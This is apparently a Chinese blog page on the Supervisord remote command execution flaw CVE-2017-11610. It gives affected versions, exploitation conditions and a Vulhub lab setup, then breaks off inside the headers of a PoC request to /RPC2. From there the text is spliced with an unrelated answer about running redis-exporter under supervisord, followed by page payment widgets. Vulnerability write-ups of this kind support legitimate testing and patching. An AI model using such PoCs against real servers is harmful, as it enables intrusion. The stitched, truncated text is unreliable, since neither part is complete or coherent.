Supervisord 远程命令执行漏洞(CVE-2017-11610)

本文详细介绍了Supervisord的远程命令执行漏洞CVE-2017-11610,包括漏洞介绍、危害、验证方法和修复方案。该漏洞允许攻击者通过POST请求执行任意命令,影响版本为3.1.2和3.3.2。环境搭建和多种PoC(Proof of Concept)演示了如何验证漏洞,同时提醒用户采取措施加固Supervisord,如升级到3.3.3版本,设置强密码,并使用安全组策略限制9001端口访问。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Supervisord 远程命令执行漏洞(CVE-2017-11610)

一、漏洞介绍

Supervisord是一款用Python语言开发的管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理。

Supervisord曾曝出了一个需认证的远程命令执行漏洞(CVE-2017-11610)。通过POST请求向Supervisord管理界面提交恶意数据,可以获取服务器操作权限,带来严重的安全风险。

利用条件:
Supervisor版本在受影响范围内
Supervisor 9001管理端口可以被外网访问
Supervisor未配置密码或使用弱密码

漏洞影响范围:
Supervisor version 3.1.2
Supervisor version 3.3.2

二、漏洞危害

利用该漏洞远程POST请求,向Supervisord管理界面提交恶意数据,可以获取服务器操作权限。

三、漏洞验证

环境搭建:
实验环境 系统 IP地址
攻击机 win10 192.168.18.7
靶机 win10 192.168.18.7:9001

这里我使用Vulhub搭建环境:
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。
在这里插入图片描述

PoC1(无回显):
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozi
`supervisord` 是一个进程管理工具,它可以用来监控和控制多个后台进程。而 `redis-exporter` 是一种用于收集和导出 Redis 服务状态信息的监控工具,通常用于 Prometheus 这类监控系统。使用 `supervisord` 来部署 `redis-exporter` 的步骤大致如下: 1. 首先确保你的系统中已经安装了 `supervisord`,如果没有安装,可以通过包管理器进行安装,例如在 Ubuntu 上可以使用 `apt-get install supervisor`。 2. 下载 `redis-exporter` 的最新版本,可以通过直接下载预编译的二进制文件,也可以通过包管理器安装,或者使用源码编译安装。 3. 将下载的 `redis-exporter` 程序放置到适当的位置,并赋予它可执行权限。例如,如果你下载的是二进制文件,可以使用 `chmod +x redis_exporter`。 4. 创建一个配置文件,通常文件名为 `redis_exporter.ini`,配置文件内容会包含 `redis-exporter` 的启动命令和配置参数。这个配置文件通常放在 `/etc/supervisor/conf.d/` 目录下。 例如: ``` [program:redis_exporter] command=/path/to/redis_exporter --redis.addr 127.0.0.1:6379 autostart=true autorestart=true stderr_logfile=/var/log/redis_exporter.err.log stdout_logfile=/var/log/redis_exporter.out.log ``` 在这个配置中,`command` 指定了 `redis_exporter` 的启动命令和必要的参数,`autostart` 和 `autorestart` 控制进程是否随 `supervisord` 启动和是否自动重启,`stderr_logfile` 和 `stdout_logfile` 指定了标准错误和标准输出日志文件的存放位置。 5. 更新 `supervisord` 配置,让它知道有新的程序配置需要加载。可以通过运行 `supervisorctl reread` 和 `supervisorctl update` 来完成这个操作。 6. 最后,使用 `supervisorctl start redis_exporter` 命令启动 `redis-exporter` 进程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值